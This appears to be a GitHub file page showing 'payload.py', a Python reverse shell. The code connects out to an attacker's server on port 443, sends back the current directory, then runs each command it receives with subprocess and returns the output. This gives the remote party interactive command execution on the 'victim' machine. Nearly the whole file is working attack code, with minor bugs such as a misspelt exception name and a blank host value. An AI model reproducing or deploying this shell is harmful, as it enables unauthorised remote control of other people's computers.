-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpayload.py
More file actions
34 lines (31 loc) · 804 Bytes
/
payload.py
File metadata and controls
34 lines (31 loc) · 804 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#coded by cybereagle2001
import socket
import os
import subprocess
import sys
server_host = #server_IP
server_port = 443
data_size = 1024 * 128
SEPARATOR = "<sep>"
victim = socket.socket()
victim.connect((server_host,server_port))
cmd = os.getcwd()
victim.send(cmd.encode())
while True:
command = victim.recv(data_size).decode()
splited_command= command.split()
if command.lower() == "exit":
break
if splited_command[0].lower() == "cd":
try:
os.chdir(''.join(splited_command[1:]))
except FileNotFounfError as e:
output = str(e)
else:
output = ""
else:
output = subprocess.getoutput(command)
cmd = os.getcwd()
message = f"{output}{SEPARATOR}{cmd}"
victim.send(message.encode())
victim.close()